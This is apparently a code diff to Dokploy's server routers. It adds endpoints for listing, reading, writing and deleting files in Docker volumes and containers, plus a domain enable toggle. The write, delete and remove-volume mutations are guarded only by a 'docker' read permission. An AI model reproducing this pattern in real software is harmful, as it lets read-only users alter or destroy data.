+	getVolumeConfig,
+	getVolumes,
+	getVolumesSize,
+	listVolumeFiles,
+	readVolumeFile,
+	removeVolume,
+	writeVolumeFile,
+} from "@dokploy/server";
+import { TRPCError } from "@trpc/server";
+import { z } from "zod";
+import { audit } from "@/server/api/utils/audit";
+import { createTRPCRouter, withPermission } from "../trpc";
+
+export const volumeNameRegex = /^[a-zA-Z0-9.\-_]+$/;
+
+const volumePathSchema = z
+	.string()
+	.min(1)
+	.max(4096)
+	.refine(
+		(path) => path.startsWith("/") && !path.includes("\0"),
+		"Path must be absolute.",
+	);
+
+export const dockerVolumeRouter = createTRPCRouter({
+	getVolumes: withPermission("docker", "read")
+		.input(
+			z.object({
+				serverId: z.string().optional(),
+			}),
+		)
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			return await getVolumes(input.serverId);
+		}),
+
+	getVolumesSize: withPermission("docker", "read")
+		.input(
+			z.object({
+				serverId: z.string().optional(),
+			}),
+		)
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			return await getVolumesSize(input.serverId);
+		}),
+
+	listVolumeFiles: withPermission("docker", "read")
+		.input(
+			z.object({
+				volumeName: z
+					.string()
+					.min(1)
+					.regex(volumeNameRegex, "Invalid volume name."),
+				path: volumePathSchema,
+				serverId: z.string().optional(),
+			}),
+		)
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			return await listVolumeFiles(
+				input.volumeName,
+				input.path,
+				input.serverId,
+			);
+		}),
+
+	readVolumeFile: withPermission("docker", "read")
+		.input(
+			z.object({
+				volumeName: z
+					.string()
+					.min(1)
+					.regex(volumeNameRegex, "Invalid volume name."),
+				path: volumePathSchema,
+				serverId: z.string().optional(),
+			}),
+		)
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			return await readVolumeFile(input.volumeName, input.path, input.serverId);
+		}),
+
+	writeVolumeFile: withPermission("docker", "read")
+		.input(
+			z.object({
+				volumeName: z
+					.string()
+					.min(1)
+					.regex(volumeNameRegex, "Invalid volume name."),
+				path: volumePathSchema,
+				content: z.string(),
+				serverId: z.string().optional(),
+			}),
+		)
+		.mutation(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			await writeVolumeFile(
+				input.volumeName,
+				input.path,
+				input.content,
+				input.serverId,
+			);
+			await audit(ctx, {
+				action: "update",
+				resourceType: "docker",
+				resourceId: input.volumeName,
+				resourceName: `${input.volumeName}:${input.path}`,
+			});
+		}),
+
+	deleteVolumeFile: withPermission("docker", "read")
+		.input(
+			z.object({
+				volumeName: z
+					.string()
+					.min(1)
+					.regex(volumeNameRegex, "Invalid volume name."),
+				path: volumePathSchema.refine(
+					(path) => path !== "/",
+					"Cannot delete the volume root.",
+				),
+				serverId: z.string().optional(),
+			}),
+		)
+		.mutation(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			await deleteVolumeFile(input.volumeName, input.path, input.serverId);
+			await audit(ctx, {
+				action: "delete",
+				resourceType: "docker",
+				resourceId: input.volumeName,
+				resourceName: `${input.volumeName}:${input.path}`,
+			});
+		}),
+
+	getVolumeConfig: withPermission("docker", "read")
+		.input(
+			z.object({
+				volumeName: z
+					.string()
+					.min(1)
+					.regex(volumeNameRegex, "Invalid volume name."),
+				serverId: z.string().optional(),
+			}),
+		)
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			return await getVolumeConfig(input.volumeName, input.serverId);
+		}),
+
+	removeVolume: withPermission("docker", "read")
+		.input(
+			z.object({
+				volumeName: z
+					.string()
+					.min(1)
+					.regex(volumeNameRegex, "Invalid volume name."),
+				serverId: z.string().optional(),
+			}),
+		)
+		.mutation(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			await removeVolume(input.volumeName, input.serverId);
+			await audit(ctx, {
+				action: "delete",
+				resourceType: "docker",
+				resourceId: input.volumeName,
+				resourceName: input.volumeName,
+			});
+		}),
+});

apps/dokploy/server/api/routers/docker.ts

@@ -4,6 +4,7 @@ import {
 	containerRestart,
 	containerStart,
 	containerStop,
+	deleteContainerFile,
 	findServerById,
 	getConfig,
 	getContainers,
@@ -11,7 +12,10 @@ import {
 	getContainersByAppNameMatch,
 	getServiceContainersByAppName,
 	getStackContainersByAppName,
+	listContainerFiles,
+	readContainerFile,
 	uploadFileToContainer,
+	writeContainerFile,
 } from "@dokploy/server";
 import { TRPCError } from "@trpc/server";
 import { z } from "zod";
@@ -21,6 +25,15 @@ import { createTRPCRouter, withPermission } from "../trpc";
 
 export const containerIdRegex = /^[a-zA-Z0-9.\-_]+$/;
 
+const containerPathSchema = z
+	.string()
+	.min(1)
+	.max(4096)
+	.refine(
+		(path) => path.startsWith("/") && !path.includes("\0"),
+		"Path must be absolute.",
+	);
+
 export const dockerRouter = createTRPCRouter({
 	getContainers: withPermission("docker", "read")
 		.input(
@@ -298,4 +311,117 @@ export const dockerRouter = createTRPCRouter({
 
 			return { success: true, message: "File uploaded successfully" };
 		}),
+
+	listContainerFiles: withPermission("docker", "read")
+		.input(
+			z.object({
+				containerId: z
+					.string()
+					.min(1)
+					.regex(containerIdRegex, "Invalid container id."),
+				path: containerPathSchema,
+				serverId: z.string().optional(),
+			}),
+		)
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			return await listContainerFiles(
+				input.containerId,
+				input.path,
+				input.serverId,
+			);
+		}),
+
+	readContainerFile: withPermission("docker", "read")
+		.input(
+			z.object({
+				containerId: z
+					.string()
+					.min(1)
+					.regex(containerIdRegex, "Invalid container id."),
+				path: containerPathSchema,
+				serverId: z.string().optional(),
+			}),
+		)
+		.query(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			return await readContainerFile(
+				input.containerId,
+				input.path,
+				input.serverId,
+			);
+		}),
+
+	writeContainerFile: withPermission("docker", "read")
+		.input(
+			z.object({
+				containerId: z
+					.string()
+					.min(1)
+					.regex(containerIdRegex, "Invalid container id."),
+				path: containerPathSchema,
+				content: z.string(),
+				serverId: z.string().optional(),
+			}),
+		)
+		.mutation(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			await writeContainerFile(
+				input.containerId,
+				input.path,
+				input.content,
+				input.serverId,
+			);
+			await audit(ctx, {
+				action: "update",
+				resourceType: "docker",
+				resourceId: input.containerId,
+				resourceName: `${input.containerId}:${input.path}`,
+			});
+		}),
+
+	deleteContainerFile: withPermission("docker", "read")
+		.input(
+			z.object({
+				containerId: z
+					.string()
+					.min(1)
+					.regex(containerIdRegex, "Invalid container id."),
+				path: containerPathSchema.refine(
+					(path) => path !== "/",
+					"Cannot delete the container root.",
+				),
+				serverId: z.string().optional(),
+			}),
+		)
+		.mutation(async ({ input, ctx }) => {
+			if (input.serverId) {
+				const server = await findServerById(input.serverId);
+				if (server.organizationId !== ctx.session?.activeOrganizationId) {
+					throw new TRPCError({ code: "UNAUTHORIZED" });
+				}
+			}
+			await deleteContainerFile(input.containerId, input.path, input.serverId);
+			await audit(ctx, {
+				action: "delete",
+				resourceType: "docker",
+				resourceId: input.containerId,
+				resourceName: `${input.containerId}:${input.path}`,
+			});
+		}),
 });

apps/dokploy/server/api/routers/domain.ts

@@ -141,6 +141,58 @@ export const domainRouter = createTRPCRouter({
 			}
 			return result;
 		}),
+	toggleEnable: protectedProcedure
+		.input(apiFindDomain)
+		.mutation(async ({ input, ctx }) => {
+			const currentDomain = await findDomainById(input.domainId);
+			const serviceId = currentDomain.applicationId || currentDomain.composeId;
+			if (serviceId) {
+				await checkServicePermissionAndAccess(ctx, serviceId, {
+					domain: ["create"],
+				});
+			} else if (currentDomain.previewDeploymentId) {
+				const preview = await findPreviewDeploymentById(
+					currentDomain.previewDeploymentId,
+				);
+				await checkServicePermissionAndAccess(ctx, preview.applicationId, {
+					domain: ["create"],
+				});
+			}
+
+			const result = await updateDomainById(input.domainId, {
+				enabled: !currentDomain.enabled,
+			});
+			const domain = await findDomainById(input.domainId);
+			await audit(ctx, {
+				action: "update",
+				resourceType: "domain",
+				resourceId: domain.domainId,
+				resourceName: domain.host,
+			});
+
+			// Applications apply instantly through the traefik file provider:
+			// manageDomain creates the router when enabled and removes it when
+			// disabled. Compose domains are docker labels and only change on the
+			// next deployment, so we just persist the flag here.
+			if (domain.applicationId) {
+				const application = await findApplicationById(domain.applicationId);
+				await manageDomain(application, domain);
+			} else if (domain.previewDeploymentId) {
+				const previewDeployment = await findPreviewDeploymentById(
+					domain.previewDeploymentId,
+				);
+				const application = await findApplicationById(
+					previewDeployment.applicationId,
+				);
+				application.appName = previewDeployment.appName;
+				await manageDomain(application, domain);
+			}
+
+			return {
+				...result,
+				requiresRedeploy: domain.domainType === "compose",
+			};
+		}),
 	one: protectedProcedure.input(apiFindDomain).query(async ({ input, ctx }) => {
 		const domain = await findDomainById(input.domainId);
 		const serviceId = domain.applicationId || domain.composeId;

apps/dokploy/server/api/routers/git-provider.ts

@@ -49,6 +49,7 @@ export const gitProviderRouter = createTRPCRouter({
 						githubAppName: r.github.githubAppName,
 						githubAppId: r.github.githubAppId,
 						githubInstallationId: r.github.githubInstallationId,
+						githubUrl: r.github.githubUrl,
 						isConfigured: !!(
 							r.github.githubPrivateKey &&
 							r.github.githubAppId &&